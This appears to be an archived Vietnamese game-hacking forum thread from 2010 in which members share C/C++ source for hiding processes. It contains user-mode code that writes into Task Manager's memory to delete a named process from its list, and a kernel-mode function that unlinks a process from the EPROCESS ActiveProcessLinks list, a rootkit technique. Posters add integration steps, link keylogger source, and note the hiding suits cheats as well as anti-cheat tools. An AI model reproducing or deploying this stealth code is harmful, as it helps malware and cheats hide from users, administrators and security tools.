PDA

View Full Version : Source Hide Processes In Windows Task Manager :D



Mr.Quy
30-11-10, 01:11 AM
Source Hide Processes In Windows Task Manager :D

Rảnh ngồi edit tí cái này
source này trên mạng
hide windows title + classname
mình sửa lại thành hide file .exe ;))
mà nó chỉ hide mỗi với windows task manager thôi :D
chứ cmd, tasklist vẫn hiện ra proccess mình hide :))
pro nào rảnh vào thêm tí đê :">

#include <windows.h>
#include <iostream>
#include <commctrl.h>

BOOL CALLBACK EnumChildProcedure(HWND hWnd,LPARAM lParam)
{
char name[256];
GetWindowText(hWnd,name,256);
char ClassName[256];
GetClassName(hWnd,ClassName,256);
LVFINDINFO info;
memset(&info,0,sizeof(LVFINDINFO));
DWORD nIndex;
int Id;
char temp[]="firefox.exe";
info.flags = LVFI_STRING |LVFI_PARTIAL;
if((strcmp(ClassName,"SysListView32")==0)&&(strcmp(name,"Processes")==0))
{
GetWindowThreadProcessId(hWnd,(LPDWORD)&nIndex);
HANDLE Process = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_O PERATION|PROCESS_VM_WRITE|PROCESS_VM_READ,FALSE, nIndex);
if(Process)
{
void *Address=VirtualAllocEx(Process,NULL,sizeof(info), MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);
void *Addressx=VirtualAllocEx(Process,NULL,sizeof(temp) ,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(Process,Addressx,&temp,sizeof(temp),0);
info.psz=(char*)Addressx;
WriteProcessMemory(Process,Address,&info,sizeof(info),0);
Id = ::SendMessage(hWnd,LVM_FINDITEM,-1,(LPARAM) Address);
if(Id!=-1)
SendMessage(hWnd,LVM_DELETEITEM,Id,0);
}
}
if(name==NULL)
return FALSE;
return TRUE;
}

void Vigil()
{
HWND hWnd = NULL;
hWnd = ::FindWindow(NULL,"Windows Task Manager");
if(!hWnd)
{
return;
}
EnumChildWindows(hWnd,EnumChildProcedure,NULL);
}
int main()
{
while(1)
{
Vigil();
Sleep(10);
}
return 0;
}

Download source để Build : <b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>

kumamuka
30-11-10, 05:55 PM
pexplore có hide được không vậy bác quý

duyen911007
30-11-10, 08:57 PM
Tk nhiều nhưng add Source thế nào đây :((

Bason4ik
01-12-10, 12:45 AM
Mr.Quy,i add one new *.cpp file with your code to my AH project,what need make next?

mattroilan
01-12-10, 02:59 AM
cái này chỉ hide vs task manager

hWnd = ::FindWindow(NULL,"Windows Task Manager");

còn lại ko hide nổi ... mình share thử các bạn 1 đoạn code dành cho hide process.... hide trên tất cả ... ^^ ..còn add thế nào thì các bạn hãy thử tự tìm hiểu ...

mình sẽ share 1 ngày gần ...


void HideProcess( char* input )
{
PEPROCESS PeProcess = NULL;
PLIST_ENTRY pNextEntry, pListHead;
PLIST_ENTRY BeforeProcess,Process,AfterProcess;
PeProcess = PsGetCurrentProcess();
if(!PeProcess)
return;
if( IsListEmpty( &PeProcess->ActiveProcessLinks ) )
return;
else
{
pListHead = &PeProcess->ActiveProcessLinks;
pNextEntry = pListHead->Flink;
while(pNextEntry != pListHead)
{
PeProcess = CONTAINING_RECORD( pNextEntry,EPROCESS,ActiveProcessLinks );
if(PeProcess->ActiveThreads)
{
if( !IsListEmpty( &PeProcess->ThreadListHead ) )
{
if( _strnicmp( PeProcess->ImageFileName, input ,strlen(input) ) == 0 )
{
Process = pNextEntry;
BeforeProcess = pNextEntry->Blink;
AfterProcess = pNextEntry->Flink;
BeforeProcess->Flink = Process->Flink;
AfterProcess->Blink = Process->Blink;
return;
}
}
}
PeProcess = NULL;
pNextEntry = pNextEntry->Flink;
}
}
return;
}

gọi trong hàm load ...
các bạn gọi .... HideProcess("main.exe");

main sẽ được hide ...

Mr.Quy
01-12-10, 03:04 AM
Mr.Quy,i add one new *.cpp file with your code to my AH project,what need make next?

download source : <b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>

@mặt trời lặn :
Cái này share ở đây : <b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>

Nhưng cậu nói thì hay lắm
làm thử xem sao :-?

gọi trong hàm load ...
các bạn gọi .... HideProcess("main.exe");
Chả liên quan gì đến nhau cả :-??

cai' source thieu' include gi` gi` đéo complie dc
;))

Source tớ share nó build ra file .exe ;))
đại loại là cùi =))
chả làm ăn đc rỳ cả :-?
giới thiệu sơ qua thôi mà :-?

mattroilan
01-12-10, 03:08 AM
@mặt trời lặn :
Cái này share ở đây : <b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>

Nhưng cậu nói thì hay lắm
làm thử xem sao :-?

gọi trong hàm load ...
các bạn gọi .... HideProcess("main.exe");


Chả liên quan gì đến nhau cả :-??

cai' source thieu' include gi` gi` đéo complie dc
;))

cái này chỉ là hàm... còn thiếu thư viện gì bạn tìm hiểu đi...

cái này mình thấy có ích thì mình post lên ... và làm được thì mình mới ý kiến...

còn share hay ko là quyền của mình...

cái đấy gọi là có 1 con đường ai cũng có thể đi nhưng đi = phương tiện gì hoặc có thể tìm ra phương tiện để đi hay ko ...

tùy bạn nghĩ

mattroilan
01-12-10, 03:16 AM
copy hết cái đống source của bạn .... trừ cái int Main()

trong void MainThread() của antihack.cpp

bạn thêm 2 dòng này vào - dùng để gọi hàm như vầy :


void MainThread()
{
again:
SystemProcessesScan();
Vigil();
Sleep(20);
goto again;
}


code của tớ cũng tương tự.... copy và paste hàm

sau đó gọi hàm trong void MainThread() hoặc void Load() đều được

vấn đề còn thêm bớt và có thêm ít thư viện nữa

<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b> Trên đấy còn có cả source của keylog nữa đấy :d

duyen911007
01-12-10, 03:31 AM
cái này chỉ hide vs task manager

hWnd = ::FindWindow(NULL,"Windows Task Manager");

còn lại ko hide nổi ... mình share thử các bạn 1 đoạn code dành cho hide process.... hide trên tất cả ... ^^ ..còn add thế nào thì các bạn hãy thử tự tìm hiểu ...

mình sẽ share 1 ngày gần ...


void HideProcess( char* input )
{
PEPROCESS PeProcess = NULL;
PLIST_ENTRY pNextEntry, pListHead;
PLIST_ENTRY BeforeProcess,Process,AfterProcess;
PeProcess = PsGetCurrentProcess();
if(!PeProcess)
return;
if( IsListEmpty( &PeProcess->ActiveProcessLinks ) )
return;
else
{
pListHead = &PeProcess->ActiveProcessLinks;
pNextEntry = pListHead->Flink;
while(pNextEntry != pListHead)
{
PeProcess = CONTAINING_RECORD( pNextEntry,EPROCESS,ActiveProcessLinks );
if(PeProcess->ActiveThreads)
{
if( !IsListEmpty( &PeProcess->ThreadListHead ) )
{
if( _strnicmp( PeProcess->ImageFileName, input ,strlen(input) ) == 0 )
{
Process = pNextEntry;
BeforeProcess = pNextEntry->Blink;
AfterProcess = pNextEntry->Flink;
BeforeProcess->Flink = Process->Flink;
AfterProcess->Blink = Process->Blink;
return;
}
}
}
PeProcess = NULL;
pNextEntry = pNextEntry->Flink;
}
}
return;
}

gọi trong hàm load ...
các bạn gọi .... HideProcess("main.exe");

main sẽ được hide ...

Keo kinh khủng hướng dẫn lun đi những Newbie sao bít đc cái này :-s

maninlove102
02-12-10, 02:53 AM
Ngoài nề chút sr :| :
Bác mattroilan cho hỏi thăm tình hình vợ con thía nào rùi ta ? lau lắm rùi. bữa nào rảnh giúp em cái main antihack với :)
Báo cáo hết !

xom1b
02-12-10, 01:46 PM
download source : <b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>

@mặt trời lặn :
Cái này share ở đây : <b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>

Nhưng cậu nói thì hay lắm
làm thử xem sao :-?

gọi trong hàm load ...
các bạn gọi .... HideProcess("main.exe");
Chả liên quan gì đến nhau cả :-??

cai' source thieu' include gi` gi` đéo complie dc
;))

Source tớ share nó build ra file .exe ;))
đại loại là cùi =))
chả làm ăn đc rỳ cả :-?
giới thiệu sơ qua thôi mà :-?

PEPROCESS . Cái này lên MSDN xem nó bảo sao ;))

Công Quốc
04-12-10, 02:27 PM
cái vụ Hide này hay nhỉ nếu như mà admin thì hide Main còn hack thì lại hide Cheat, Hack v.v... Đôi bên cùng có lợi :D